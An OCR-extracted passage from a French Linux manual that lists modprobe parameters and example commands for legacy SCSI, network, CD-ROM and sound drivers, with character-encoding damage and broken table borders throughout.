  24657.        __________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
  24658.  *______________________
  24659.  
  24660.  
  24661.  
  24662. 14.3.4       ParamΦtres modprobe
  24663. Dans ce paragraphe, nous prΘsenterons les paramΦtres qui peuvent Ωtre utili-
  24664.  
  24665. sΘs pour le chargement d'un pilote en tant que module. S'il n'Θtait pas pos-
  24666. sible de charger un pilote bien que des paramΦtres aient ΘtΘ spΘcifiΘs ou s'il
  24667. ne se trouvait pas de paramΦtre adΘquat pour ce pilote dans le prΘsent para-
  24668. graphe,  vous  devrez  malheureusement  intΘgrer  un  tel  pilote  dans  un  noyau
  24669. monolithique.
  24670.  
  24671. Certains pilotes ne sont pas encore disponibles sous forme de modules. Cer-
  24672. tains autres, peu nombreux, ne reconnaissent le matΘriel de faτon fiable que
  24673. si le pilote est inclus en permanence dans le noyau. Il vaut en tout cas la peine
  24674. de faire un essai afin de savoir si le pilote en question peut Ωtre utilisΘ sous
  24675. forme de module.
  24676.  
  24677. Si  le  pilote  est  chargΘ  en  tant  que  module,  toute  variable  utilisΘe  dans  le
  24678. module  peut  Ωtre  Θcrite  dans  la  ligne  de  commande.  Il  existe  par  exemple
  24679. dans le pilote pour cartes NE2000  la variable du nom de io   qui spΘcifie la
  24680. zone  d'E/S.  Ainsi,  la  commande  correcte  de  chargement  de  ce  module  est
  24681. donc (voir aussi, au chapitre sur le noyau, le paragraphe 13.2 page 360) :
  24682.  
  24683.       terre:/  #  insmod  ne  io=0x300  irq=10
  24684.  
  24685. ou mieux avec modprobe :
  24686.  
  24687.       terre:/  #  modprobe  ne  io=0x300  irq=10
  24688.  
  24689. Prenez garde, en spΘcifiant les paramΦtres, α ne taper aucun espace ni avant ni
  24690. aprΦs le signe d'ΘgalitΘ. Vous devez en outre entrer des valeurs hexadicimales
  24691. sous la forme prΘsentΘe dans l'exemple (en les faisant prΘcΘder de `0x').
  24692.        _______________________________________________________________________________________________________________________||
  24693.  
  24694.        ||||||||  Si plusieurs paramΦtres peuvent Ωtre spΘcifiΘs pour un pilote, vous devez                      |||            |
  24695.        ||||||||  absolument les sΘparer par des espaces ! Ceci constitue une diffΘrence fon-                    ||             |
  24696.        ||||||||                                                                                                 ||             |
  24697.        ||||||||  damentale avec la transmission des paramΦtres α l'invite d'amorτage o∙ il                      ||             |
  24698.        ||||||||  ne  doit  pas  y  avoir  d'espaces  entre  les  paramΦtres  concernant  un  seul  et           ||             |
  24699.        ||||||||                                                                                                 ||             |
  24700.        ||||||||  mΩme pilote !                                                                                  ||             |
  24701.        ||||||||_______________________________________________________________________________________________________________||_
  24702.  
  24703. Les paramΦtres que vous spΘcifiez ici peuvent aussi Ωtre repris dans le fichier
  24704. /etc/modules.conf. On peut y spΘcifier toute une sΘrie de paramΦtres pour
  24705. chaque  module.  Ceci  se  fait  dans  une  ligne  de  commande  propre  α  chaque
  24706. module. Ces lignes de commandes ont la structure suivante :
  24707.  
  24708.       options  <nom  du  module>  <parm1>=<valeur1>  ...
  24709.  
  24710. avec dans ce cas :
  24711.  
  24712.        ________________________________________________________________________________________________________________
  24713.        ||||||||__Variable____________Valeurs_/|Signification___________________________________|________________________
  24714.  
  24715.        ||||||||  <nom  du  module>   Nom du fichie|r de module sans extension .o  |
  24716.        ||||||||  <parm1>             ParamΦtre 1  |                                               |
  24717.        ||||||||__<wert1>_____________Valeur_assign|Θe_au_paramΦtre_1______________________|____________________________
  24718.  
  24719. L'entrΘe pour la carte NE2000 de l'exemple ci-dessus serait par consΘquent :
  24720.  
  24721.       options  ne  io=0x300  irq=10
  24722.  
  24723. Voici maintenant une liste des paramΦtres les plus importants pour la plupart
  24724. des modules
  24725.  
  24726.  
  24727.                                                                                                                                    *
  24728.  *   383
  24729. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24730.  *_______________________________________@
  24731.  
  24732.  
  24733.  
  24734.                            Contr⌠leur SCSI et sous-systΦme SCSI
  24735.                              ~   Adaptec, adaptateurs h⌠tes AHA-1520 / 1522 / 1510 / 1515 / 1505
  24736.  
  24737.                                  Nom du module : aha152x.o
  24738.                                  ____________________________________________________________________________________________
  24739.                                  |__Variable___________|_____Valeurs_/_Signification________________________________|_________
  24740.  
  24741.                                  |  <io>                   | <addr>                                                          |
  24742.                                  |  <irq>                  | <irq>                                                           |
  24743.                                  |  <id>                   | ID SCSI de l'adaptateur h⌠te ; par dΘfaut 7   |
  24744.                                  |  <rec>                  | <reconnexion>              ; 0 , 1                               |
  24745.                                  |  <par>                  | paritΘ ; 0 , 1                                                 |
  24746.                                  |  <sync>                 | mode synchrone ; 0 , 1                                 |
  24747.                                  |  <delay>                | Temporisation du bus ; par dΘfaut 100            |
  24748.                                  |__<translat>_____________|_translation_de_la_gΘomΘtrie_du_disque_;_0_,_1____|______________
  24749.                                  Comme α l'invite de LILO  :
  24750.                                  Exemple :    modprobe  aha152x  aha152x=0x340,10,7,1,1,0,100,0
  24751.                                  Pour un deuxiΦme adaptateur h⌠te :
  24752.                                  Exemple :    modprobe  aha152x  aha152x1=0x140,12,7,1,1,0,100,0
  24753.  
  24754.  
  24755.                              ~   Future Domain, adaptateur h⌠te TMC-16x0
  24756.                                  Nom du module : fdomain.o
  24757.                                  Ce pilote gΦre entre autres l'adaptateur h⌠te SCSI Adaptec 2920 .
  24758.                                  fdomain=<addr>,<irq>[,<id>]
  24759.                                  _______________________________________________________
  24760.                                  |__Variable____|____Valeurs_/_Signification__|__________
  24761.  
  24762.                                  |  <addr>          |<addr>                             |
  24763.                                  |  <irq>           |<irq>                              |
  24764.                                  |__<id>____________|<id>_______________________________|
  24765.                                  Comme α l'invite de LILO  :
  24766.                                  Exemple :    modprobe  fdomain  fdomain=0x140,11,7
  24767.  
  24768.  
  24769.                              ~   Famille d'adapteurs h⌠tes SCSI NCR 5380 ou NCR 53C400
  24770.                                  Nom du module : g_NCR5380.o
  24771.                                  ______________________________________________________________________________
  24772.                                  |__ParamΦtres_____|_______Valeurs_________________________________________|____
  24773.  
  24774.                                  |  ncr_addr              |<addr>                                              |
  24775.                                  |  ncr_irq               |<irq>       ; dΘsactiver avec 255            |
  24776.                                  |  ncr_dma               |<dma>                                               |
  24777.                                  |  ncr_5380              |1  pour un adaptateur NCR5380       |
  24778.                                  |__ncr_53c400____________|1__pour_un_adaptateur_NCR53C400__|__________________
  24779.                                  Pour un adaptateur NCR5380 :
  24780.                                  Exemple :    modprobe  g_NCR5380  ncr_irq=5  ncr_addr=0x350
  24781.                                                    ncr_5380=1
  24782.                                  Pour un adaptateur NCR53C400 avec interruptions dΘsactivΘes :
  24783.                                  Exemple :    modprobe  g_NCR5380  ncr_irq=255  ncr_addr=0xc8000
  24784.                                                    ncr_53c400=1
  24785.                                  Ce pilote gΦre par exemple l'adaptateur h⌠te SCSI trΦs rΘpandu Trantor
  24786.                                  T130B
  24787.  
  24788.  
  24789. 384
  24790.        __________________________________________________________________________________________________14.3.__Les_paramΦtres_____*
  24791.  *______________________
  24792.  
  24793.  
  24794.  
  24795. Cartes rΘseau
  24796.   ~   3Com, cartes rΘseau 3c501 / 3c503 / 3c505 / 3c507
  24797.  
  24798.       Nom du module : 3c501.o,3c503.o,3c505.o,3c507.o
  24799.  
  24800.        ________________________________________
  24801.        ||__ParamΦtres__|_____Valeurs_____|______
  24802.  
  24803.        ||  io                <|addr>        |
  24804.        ||__irq_______________<|irq>_________|__
  24805.  
  24806.       Exemple :    modprobe  3c509  io=0x300  irq=10
  24807.  
  24808.  
  24809.  
  24810.   ~   3Com, cartes rΘseau 3c509 / 3c579
  24811.  
  24812.       Nom du module : 3c509.o
  24813.  
  24814.        ___________________________________________________________
  24815.        ||__ParamΦtres__|_____Valeurs________________________|______
  24816.  
  24817.        ||  irq               <|irq>                             |
  24818.        ||__xcvr______________0|_:_interne_;_1__:_externe__|_______
  24819.  
  24820.       Exemple :    modprobe  3c509  irq=10  xcvr=0
  24821.  
  24822.  
  24823.  
  24824.   ~   3Com, cartes rΘseau 3c515
  24825.  
  24826.       Nom du module : 3c515.o
  24827.  
  24828.       Exemple :    modprobe  3c515
  24829.  
  24830.  
  24831.  
  24832.   ~   3Com, cartes rΘseau 3c59x / 3c90x (``Vortex''/``Boomerang'')
  24833.  
  24834.       Nom du module : 3c59x.o
  24835.  
  24836.       Pour les ordinateurs Compaq (PCI), on peut faire un essai avec les para-
  24837.       mΦtres suivants :
  24838.  
  24839.        __________________________________________________
  24840.        ||__ParamΦtres_____________|_____Valeurs_____|_____
  24841.  
  24842.        ||  compaq_ioaddr                |<addr>        |
  24843.        ||  compaq_irq                   |<irq>         |
  24844.        ||__compaq_prod_id_______________|<id>__________|_
  24845.  
  24846.       Exemple :    modprobe  3c59x  compaq_irq=10
  24847.  
  24848.  
  24849.  
  24850.   ~   Allied Telesis, carte rΘseau AT1700
  24851.  
  24852.       Nom du module : at1700.o
  24853.  
  24854.        ________________________________________
  24855.        ||__ParamΦtres__|_____Valeurs_____|______
  24856.  
  24857.        ||  io                <|addr>        |
  24858.        ||__irq_______________<|irq>_________|__
  24859.  
  24860.       Exemple :    modprobe  at1700  io=0x300  irq=10
  24861.  
  24862.  
  24863.  
  24864.   ~   Cabletron, carte rΘseau E21xx
  24865.  
  24866.       Nom du module : e2100.o
  24867.  
  24868.  
  24869.                                                                                                                                    *
  24870.  *   385
  24871. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  24872.  *_______________________________________@
  24873.  
  24874.  
  24875.  
  24876.                                  __________________________________________________________
  24877.                                  |__ParamΦtres__|_______Valeurs________________________|____
  24878.                                  |  io                 |<addr>                             |
  24879.                                  |  irq                |<irq>                              |
  24880.                                  |  mem                |<addr>                             |
  24881.                                  |__xcvr_______________|0__:_interne_;_1__:_externe__|_____
  24882.  
  24883.                                  Exemple :    modprobe  e2100  io=0x300  irq=10  mem=0xd000  xcvr=0
  24884.  
  24885.  
  24886.                              ~   Digital, cartes rΘseau DE425 / 434 / 435 / 450 / 500
  24887.  
  24888.                                  Nom du module : de4x5.o
  24889.  
  24890.                                  io=0x<bus><id  pΘriphΘrique>
  24891.  
  24892.                                  ______________________________________________________________________________________
  24893.                                  |__ParamΦtres_______________|______Valeurs________________________________________|____
  24894.  
  24895.                                  |  bus                            |NumΘro du bus PCI, en gΘnΘral 0   |
  24896.                                  |__id__pΘriphΘrique_______________|NumΘro_du_pΘriphΘrique_PCI_________|_______________
  24897.  
  24898.                                  Pour les BIOS de PCI rΘcents, ces donnΘes sont affichΘes ou peuvent Ωtre
  24899.                                  obtenues sous Linux avec
  24900.                                       terre:  #  cat  /proc/pci
  24901.  
  24902.  
  24903.                                  Exemple :    modprobe  de4x5  io=0x007
  24904.  
  24905.  
  24906.                              ~   Digital DEPCA / DE10x / DE20(012) / DE42, carte rΘseau Ether WORKS
  24907.  
  24908.  
  24909.                                  Nom du module : depca.o
  24910.  
  24911.                                  __________________________________________________________________________
  24912.                                  |__ParamΦtres_________|_______Valeurs_________________________________|____
  24913.  
  24914.                                  |  io                       | <addr>                                     |
  24915.                                  |  irq                      | <irq>                                      |
  24916.                                  |  mem                      | <mem>                                      |
  24917.                                  |  adapter_name             | <Nom>       par exemple DEPCA     ,  |
  24918.                                  |                           | de100    , de101     ,                      |
  24919.                                  |                           | de200    , de201     ,                      |
  24920.                                  |                           | de202    , de210     ,                      |
  24921.                                  |___________________________|_de422______________________________________|_
  24922.  
  24923.                                  Exemple :    modprobe  depca  io=0x300  irq=10
  24924.  
  24925.  
  24926.                              ~   EtherWORKS 3 (DE203, DE204, DE205), cartes rΘseau
  24927.  
  24928.                                  Nom du module : ewrk3.o
  24929.  
  24930.                                  _______________________________________
  24931.                                  |__ParamΦtres__|_______Valeurs_____|____
  24932.  
  24933.                                  |  io                 |<addr>         |
  24934.                                  |__irq________________|<irq>__________|_
  24935.  
  24936.                                  Exemple :    modprobe  ewrk3  io=0x300  irq=10
  24937.  
  24938.  
  24939.                              ~   Intel EtherExpress 16, carte rΘseau
  24940.  
  24941.  
  24942. 386
  24943.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  24944.  *____________________
  24945.  
  24946.  
  24947.  
  24948.     Nom du module : eexpress.o
  24949.      ________________________________________
  24950.      ||__ParamΦtres__|_____Valeurs_____|______
  24951.  
  24952.      ||  io                <|addr>        |
  24953.      ||__irq_______________<|irq>_________|__
  24954.  
  24955.     Exemple :    modprobe  eexpress  io=0x300  irq=10
  24956.  
  24957.  
  24958. ~   Intel EtherExpressPro, carte rΘseau
  24959.     Nom du module : eepro.o
  24960.      ________________________________________
  24961.      ||__ParamΦtres__|_____Valeurs_____|______
  24962.  
  24963.      ||  io                <|addr>        |
  24964.      ||  irq               <|irq>         |
  24965.      ||__mem_______________<|addr>________|__
  24966.  
  24967.     Exemple :    modprobe  eepro  io=0x300  irq=10  mem=0xd000
  24968.  
  24969.  
  24970. ~   Intel EtherExpressPro 100, carte rΘseau
  24971.     Nom du module : eepro100.o
  24972.     La carte Intel EtherExpressPro inclut les puces i82557/i82558 .
  24973.      ___________________________________________________________________________________
  24974.      ||__ParamΦtres__|_____Valeurs_________________________________________________|_____
  24975.  
  24976.      ||  options           <|Fonctionnement  en  duplex  et>                          |
  24977.      ||                    <|Transceiver  bus>                                        |
  24978.      ||                    1|6  Full-duplex                                      |
  24979.      ||                    3|2  Seulement en mode 100 Mbits          |
  24980.      ||____________________6|4__Seulement_en_mode_10_Mbits____________|_________________
  24981.  
  24982.     Exemple :    modprobe  eepro100  options=48
  24983.     On  configure  ainsi  simultanΘment  Full-duplex  et  mode  100Mbits  (48 =
  24984.     32 + 16).
  24985.  
  24986.  
  24987. ~   Fujitsu FMV-181/182/183/184, cartes rΘseau
  24988.     Nom du module : fmv18x.o
  24989.      ________________________________________
  24990.      ||__ParamΦtres__|_____Valeurs_____|______
  24991.  
  24992.      ||  io                <|addr>        |
  24993.      ||__irq_______________<|irq>_________|__
  24994.  
  24995.     Exemple :    modprobe  fmv18x  io=0x300  irq=10
  24996.  
  24997.  
  24998. ~   HP PCLAN+ (27247B and 27252A), carte rΘseau
  24999.     Nom du module : hp-plus.o
  25000.      ________________________________________
  25001.      ||__ParamΦtres__|_____Valeurs_____|______
  25002.  
  25003.      ||  io                <|addr>        |
  25004.      ||__irq_______________<|irq>_________|__
  25005.  
  25006.     Exemple :    modprobe  hp-plus  io=0x300  irq=10
  25007.  
  25008.  
  25009.                                                                                                                                    *
  25010.  * 387
  25011. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25012.  *_______________________________________@
  25013.  
  25014.  
  25015.  
  25016.                              ~   HP PCLAN (27245 / 27xxx)
  25017.                                  Nom du module : hp.o
  25018.  
  25019.                                  _______________________________________
  25020.                                  |__ParamΦtres__|_______Valeurs_____|____
  25021.  
  25022.                                  |  io                 |<addr>         |
  25023.                                  |__irq________________|<irq>__________|_
  25024.  
  25025.                                  Exemple :    modprobe  hp  io=0x300  irq=10
  25026.  
  25027.  
  25028.                              ~   HP 10/100 VG-AnyLAN (ISA, EISA, PCI), cartes rΘseau
  25029.  
  25030.                                  Nom du module : hp100.o
  25031.  
  25032.                                  __________________________________________
  25033.                                  |__ParamΦtres_____|_______Valeurs_____|____
  25034.  
  25035.                                  |__hp100_port____________|<addr>_________|_
  25036.  
  25037.                                  Exemple :    modprobe  hp100  hp100_port=0x300
  25038.  
  25039.  
  25040.                              ~   ICL EtherTeam 16i / 32, cartes rΘseau
  25041.  
  25042.                                  Nom du module : eth16i.o
  25043.  
  25044.                                  _______________________________________
  25045.                                  |__ParamΦtres__|_______Valeurs_____|____
  25046.  
  25047.                                  |  io                 |<addr>         |
  25048.                                  |__irq________________|<irq>__________|_
  25049.  
  25050.                                  Exemple :    modprobe  eth16i  io=0x300  irq=10
  25051.  
  25052.  
  25053.                              ~   Novell NE2000 / NE1000, cartes rΘseau
  25054.  
  25055.                                  Nom du module : ne.o
  25056.  
  25057.                                  __________________________________________________________________________________________
  25058.                                  |__ParamΦtres__|_______Valeurs_________________________________________________________|___
  25059.  
  25060.                                  |  io                 |<addr>                                                             |
  25061.                                  |  irq                |<irq>                                                              |
  25062.                                  |__bad________________|bad___,_seulement_si_la_carte_n'est_pas_reconnue__|________________
  25063.  
  25064.                                  Exemple :    modprobe  ne  io=0x300  irq=10
  25065.  
  25066.  
  25067.                              ~   NI6510 (AM7990, puce ``lance''), carte rΘseau
  25068.  
  25069.                                  Nom du module : ni65.o
  25070.  
  25071.                                  _______________________________________
  25072.                                  |__ParamΦtres__|_______Valeurs_____|____
  25073.  
  25074.                                  |  io                 |<addr>         |
  25075.                                  |  irq                |<irq>          |
  25076.                                  |__dma________________|<dma>__________|_
  25077.  
  25078.                                  Exemple :    modprobe  ni65  io=0x300  irq=10
  25079.  
  25080.  
  25081.                              ~   SMC Ultra, carte rΘseau
  25082.  
  25083.                                  Nom du module : smc-ultra.o
  25084.  
  25085.  
  25086. 388
  25087.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25088.  *____________________
  25089.  
  25090.  
  25091.  
  25092.      ________________________________________
  25093.      ||__ParamΦtres__|_____Valeurs_____|______
  25094.      ||  io                <|addr>        |
  25095.      ||__irq_______________<|irq>_________|__
  25096.  
  25097.     Exemple :    modprobe  smc-ultra  io=0x300  irq=10
  25098.  
  25099.  
  25100. ~   SMC 9194, carte rΘseau
  25101.     Nom du module : smc9194.o
  25102.      ___________________________________________
  25103.      ||__ParamΦtres__|_____Valeurs_________|_____
  25104.  
  25105.      ||  io                <|addr>            |
  25106.      ||  irq               <|irq>             |
  25107.      ||__if_port___________<|medium>__________|_
  25108.      ____________________________________________________________
  25109.      ||__Variable_______|___Valeurs_/_Signification__|____________
  25110.  
  25111.      ||  <medium>           0| auto                          |
  25112.      ||                     1| TP                            |
  25113.      ||_____________________2|_AUI,_10base2____________|_________
  25114.  
  25115.     Exemple :    modprobe  smc9194  io=0x300  irq=10  if_port=2
  25116.  
  25117.  
  25118. ~   Western Digital, carte rΘseau WD80x3
  25119.     Nom du module : wd.o
  25120.      _____________________________________________
  25121.      ||__ParamΦtres__|_____Valeurs__________|______
  25122.  
  25123.      ||  io                <|addr>              |
  25124.      ||  irq               <|irq>               |
  25125.      ||  mem               <|mem>               |
  25126.      ||__mem_end___________<|mem_end>___________|_
  25127.  
  25128.     Exemple :    modprobe  wd  io=0x300  irq=10
  25129.  
  25130.  
  25131. ~   IBM Tropic chipset Token Ring, carte rΘseau
  25132.     Nom du module : ibmtr.o
  25133.      ________________________________________
  25134.      ||__ParamΦtres__|_____Valeurs_____|______
  25135.  
  25136.      ||__io________________<|addr>________|__
  25137.  
  25138.     Exemple :    modprobe  ibmtr  io=0x300
  25139.  
  25140.  
  25141. ~   D-Link DE620 pocket adaptor, carte rΘseau
  25142.     Nom du module : de620.o
  25143.      ________________________________________________________________________________________________
  25144.      ||__ParamΦtres__|_____Valeurs_____________________________________________________________|______
  25145.  
  25146.      ||  io                <|addr>                                                                 |
  25147.      ||  irq               <|irq>                                                                  |
  25148.      ||  bnc               1| si EntrΘe/Sortie BNC                                       |
  25149.      ||  utp               1| si EntrΘe/Sortie BNC                                       |
  25150.      ||__clone_____________1|_si_le_pΘripherique_est_de_construction_similaire__|____________________
  25151.  
  25152.     Exemple :    modprobe  de620  io=0x300  irq=10  bnc=1  utp=0
  25153.  
  25154.  
  25155.                                                                                                                                    *
  25156.  * 389
  25157. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25158.  *_______________________________________@
  25159.  
  25160.  
  25161.  
  25162.                            Lecteurs de CD-ROM propriΘtaires
  25163.      Lecteurs de           Les paramΦtres suivants concernent les lecteurs de CD-ROM connectΘs α des
  25164.  
  25165.         CD-ROM             contr⌠leurs particuliers. Qui possΦde une telle ``piΦce de musΘe'' ne l'ignore
  25166.    propriΘtaires           s√rement pas : : :
  25167.  
  25168.                              ~   Aztech, lecteur de CD-ROM CDA268-01
  25169.                                  Nom du module : aztcd.o
  25170.                                  _______________________________________
  25171.                                  |__ParamΦtres__|_______Valeurs_____|____
  25172.  
  25173.                                  |__aztcd______________|<addr>_________|_
  25174.  
  25175.                                  Exemple :    modprobe  aztcd  aztcd=0x300
  25176.  
  25177.  
  25178.                              ~   Goldstar, lecteur de CD-ROM R420
  25179.                                  Nom du module : gscd.o
  25180.                                  _______________________________________
  25181.                                  |__ParamΦtres__|_______Valeurs_____|____
  25182.  
  25183.                                  |__gscd_______________|<addr>_________|_
  25184.  
  25185.                                  Exemple :    modprobe  gscd  gscd=0x300
  25186.  
  25187.  
  25188.                              ~   Mitsumi, lecteur de CD-ROM
  25189.                                  Nom du module : mcd.o
  25190.                                  mcd=<addr>,<irq>[,<attente>]
  25191.                                  _____________________________________________________________________________________________
  25192.                                  |__Variable_________|_____Valeurs_/_Signification__________________________________|__________
  25193.  
  25194.                                  |__<attente>____________|_Valeur_pour_le_temps_d'attente_au_dΘmarrage__|_____________________
  25195.  
  25196.                                  On  peut  faire  varier  le  paramΦtre  <attente>           dans  une  marge  situΘe
  25197.                                  entre  0  et  10   si  le  lecteur  de  CD-ROM  a  une  rΘaction  trop  lente  aux
  25198.                                  demandes du systΦme ("timeout"). Ceci peut avoir Θventuellement pour
  25199.                                  consΘquence que l'image de root n'est pas dΘtectΘe pendant l'installation.
  25200.                                  Exemple :    modprobe  mcd  mcd=0x300,10,5
  25201.  
  25202.  
  25203.                              ~   Mitsumi, lecteur de CD-ROM (multisession)
  25204.                                  Nom du module : mcdx.o
  25205.                                  mcdx=<addr>,<irq>[,<addr>,<irq>]
  25206.                                  Pour plusieurs pilotes, on peut rΘpΘter jusqu'α quatre fois fois le couple
  25207.                                  de paramΦtres <addr>, <irq>.
  25208.  
  25209.  
  25210.                              ~   Carte son Mozart avec interface pour lecteurs de CD-ROM
  25211.                                  Nom du module : isp16.o
  25212.                                  isp16_cdrom_base=<addr>
  25213.                                  isp16_cdrom_irq=<irq>  isp16_cdrom_dma=<dma>
  25214.                                  isp16_cdrom_type=<typ>
  25215.                                  ____________________________________________________________________________
  25216.                                  |__Variable____|____Valeurs_/_Signification_______________________|__________
  25217.  
  25218.                                  |__<type>__________|Sanyo_____,_Panasonic________,_Sony____,_Mitsumi________ |
  25219.  
  25220. 390
  25221.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25222.  *____________________
  25223.  
  25224.  
  25225.  
  25226.     Ce pilote n'est pas un vΘritable pilote de CD-ROM ; il prend seulement
  25227.     en charge la configuration d'interface des lecteurs de CD-ROM connectΘs
  25228.     α une carte son ISP16 , MAD16  ou Mozart . AprΦs le chargement de ce
  25229.     pilote, seule l'interface correspondante est configurΘe. Le pilote de CD-
  25230.     ROM adΘquat doit ensuite Ωtre chargΘ additionnellement. La valeur pour
  25231.     la variable <type>         dΘpend du connecteur auquel le cΓble du CD-ROM
  25232.     est branchΘ sur la carte son.
  25233.     Exemple :    modprobe  isp16  isp16=0x300,10,1,sony
  25234.     Exemple :    modprobe  isp16  isp16_cdrom_base=0x300
  25235.                       isp16_cdrom_irq=10  isp16_cdrom_dma=1
  25236.                       isp16_cdrom_type=sony
  25237.  
  25238.  
  25239. ~   Optics Storage 8000 AT, lecteur de CD-ROM
  25240.     Nom du module : optcd.o
  25241.      ________________________________________
  25242.      ||__ParamΦtres__|_____Valeurs_____|______
  25243.  
  25244.      ||__optcd_____________<|addr>________|__
  25245.  
  25246.     Exemple :    modprobe  optcd  optcd=0x300
  25247.  
  25248.  
  25249. ~   Philips, lecteur de CD-ROM CM 206
  25250.     Nom du module : cm206.o
  25251.     cm206=<addr>,<irq>
  25252.     Exemple :    modprobe  cm206  cm206=0x300,10
  25253.  
  25254.  
  25255. ~   Sanyo, lecteur de CD-ROM
  25256.     Nom du module : sjcd.o
  25257.      ________________________________________
  25258.      ||__ParamΦtres__|_____Valeurs_____|______
  25259.  
  25260.      ||__sjcd______________<|addr>________|__
  25261.  
  25262.     Exemple :    modprobe  sjcd  sjcd=0x300
  25263.  
  25264.  
  25265. ~   Sony CDU 31/33 A
  25266.     Nom du module : cdu31a.o
  25267.      _____________________________________________
  25268.      ||__ParamΦtres_______|_____Valeurs_____|______
  25269.  
  25270.      ||  cdu31a_port            |<addr>        |
  25271.      ||__cdu31a_irq_____________|<irq>_________|__
  25272.  
  25273.     Exemple :    modprobe  cdu31a  cdu31a_port=0x300  cdu31a_irq=10
  25274.  
  25275.  
  25276. ~   Sony CDU 535
  25277.     Nom du module : sonycd535.o
  25278.      _________________________________________
  25279.      ||__ParamΦtres___|_____Valeurs_____|______
  25280.  
  25281.      ||__sonycd535__________<|addr>________|__
  25282.  
  25283.     Exemple :    modprobe  sonycd535  sonycd535=0x300
  25284.  
  25285.  
  25286.                                                                                                                                    *
  25287.  * 391
  25288. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25289.  *_______________________________________@
  25290.  
  25291.  
  25292.  
  25293.                              ~   Soundblaster Pro 16 MultiCD
  25294.                                  Nom du module : sbpcd.o
  25295.                                  sbpcd=<addr>,<type>
  25296.                                  <type>        peut avoir ici les valeurs suivantes :
  25297.                                  ______________________________________________________
  25298.                                  |__Variable__|_____Valeurs_/_Signification__|__________
  25299.  
  25300.                                  |  0             | LaserMate                         |
  25301.                                  |  1             | SoundBlaster                      |
  25302.                                  |  2             | SoundScape                        |
  25303.                                  |__3_____________|_Teac16bit_________________________|_
  25304.  
  25305.                                  Exemple :    modprobe  sbpcd  sbpcd=0x300,0
  25306.  
  25307.                            Cartes son et chipsets son
  25308.  
  25309.              Le son        Depuis  le noyau 2.2.xx, le support son est compilΘ sous forme de module et
  25310.                            peut Ωtre influencΘ par de nombreux paramΦtres.
  25311.  
  25312.                              ~   AD1816, chip
  25313.                                  Nom du module : ad1816.o
  25314.                                  Sont,  entre  autres,  supportΘs  :  TerraTec  Base  1,  TerraTec  Base  64,  HP
  25315.                                  Kayak, Acer FX-3D, SY-1816, Highscreen Sound-Boostar 32 Wave 3D
  25316.                                  _______________________________________________________________
  25317.                                  |__ParamΦtres_________________|______Valeurs______________|_____
  25318.  
  25319.                                  |  io                               |<addr>                   |
  25320.                                  |  irq                              |<irq>                    |
  25321.                                  |  dma                              |<dma>                    |
  25322.                                  |  dma2                             |<dma2>                   |
  25323.                                  |__ad1816_clockfreq_________________|<clockfreq>______________|_
  25324.  
  25325.                                  Exemple :    modprobe  ad1816  io=0x530  irq=5  dma=1
  25326.                                                    dma2=3  ad1816_clockfreq=33000
  25327.  
  25328.  
  25329.                              ~   AD1848/CS4248, chip (MSS)
  25330.                                  Nom du module : ad1848.o
  25331.                                  _________________________________________________
  25332.                                  |__ParamΦtres_____|_______Valeurs____________|____
  25333.  
  25334.                                  |  io                    |<addr>                 |
  25335.                                  |  irq                   |<irq>                  |
  25336.                                  |  dma                   |<dma>                  |
  25337.                                  |  dma2                  |<dma2>                 |
  25338.                                  |  type                  |<cardtype>             |
  25339.                                  |__deskpro_xl____________|<magic>________________|
  25340.  
  25341.  
  25342.                              ~   Pilote gΘnΘrique OPLx
  25343.                                  Nom du module : adlib_card.o
  25344.                                  _______________________________________
  25345.                                  |__ParamΦtres__|_______Valeurs_____|____
  25346.  
  25347.                                  |__io_________________|<addr>_________|_
  25348.  
  25349.                                  Exemple :    modprobe  adlib_card  io=0x330
  25350.  
  25351.  
  25352. 392
  25353.      __________________________________________________________________________________________________14.3.__Les_paramΦtres_______*
  25354.  *____________________
  25355.  
  25356.  
  25357.  
  25358. ~   Crystal 423x, chipsets
  25359.     Nom du module : cs4232.o
  25360.  
  25361.      ________________________________________
  25362.      ||__ParamΦtres__|_____Valeurs_____|______
  25363.  
  25364.      ||  io                <|addr>        |
  25365.      ||  irq               <|irq>         |
  25366.      ||  dma               <|dma>         |
  25367.      ||__dma2______________<|dma2>________|__
  25368.  
  25369.     Exemple :    modprobe  cs4232  io=0x530  irq=5  dma=1  dma2=3
  25370.  
  25371.  
  25372. ~   Ensoniq 1370, chipset
  25373.  
  25374.     Nom du module : es1370.o
  25375.  
  25376.     Voir aussi PCI64/128.
  25377.  
  25378.      ______________________________________________________________________
  25379.      ||__ParamΦtres__|_____Valeurs___________________________________|______
  25380.  
  25381.      ||  joystick          1| : activer le joystick               |
  25382.      ||  lineout           1| : passer de line-in α line-out  |
  25383.      ||__micz______________I|mpΘdance_du_microphone_______|________________
  25384.  
  25385.     Exemple :    modprobe  es1370  joystick=1  lineout=1
  25386.  
  25387.  
  25388. ~   Creative Ensoniq 1371, chipset
  25389.  
  25390.     Nom du module : es1371.o
  25391.  
  25392.     Vgl. auch PCI64/128.
  25393.  
  25394.      ________________________________________
  25395.      ||__ParamΦtres__|_____Valeurs_____|______
  25396.  
  25397.      ||__joystick__________<|addr>________|__
  25398.  
  25399.     Des valeurs valides pour <addr>        sont 0x200     , 0x208     , 0x210      et 0x218     .
  25400.  
  25401.     Exemple :    modprobe  es1371  joystick=0x200
  25402.  
  25403.  
  25404. ~   Gravis Ultrasound
  25405.  
  25406.     Nom du module : gus.o
  25407.  
  25408.      ______________________________________________
  25409.      ||__ParamΦtres_______|_____Valeurs_______|_____
  25410.  
  25411.      ||  io                     |<addr>          |
  25412.      ||  irq                    |<irq>           |
  25413.      ||  dma                    |<dma>           |
  25414.      ||  dma16                  |<dma16>         |
  25415.      ||  type                   |                |
  25416.      ||  gus16                  |                |
  25417.      ||  no_wave_dma            |                |
  25418.      ||__db16___________________|________________|_
  25419.  
  25420.  
  25421.  
  25422. ~   MAD16
  25423.  
  25424.     Nom du module : mad16.o
  25425.  
  25426.  
  25427.                                                                                                                                    *
  25428.  * 393
  25429. 14.  ParamΦtres du_noyau___________________________________________________________________________________________________________*
  25430.  *_______________________________________@
  25431.  
  25432.  
  25433.  
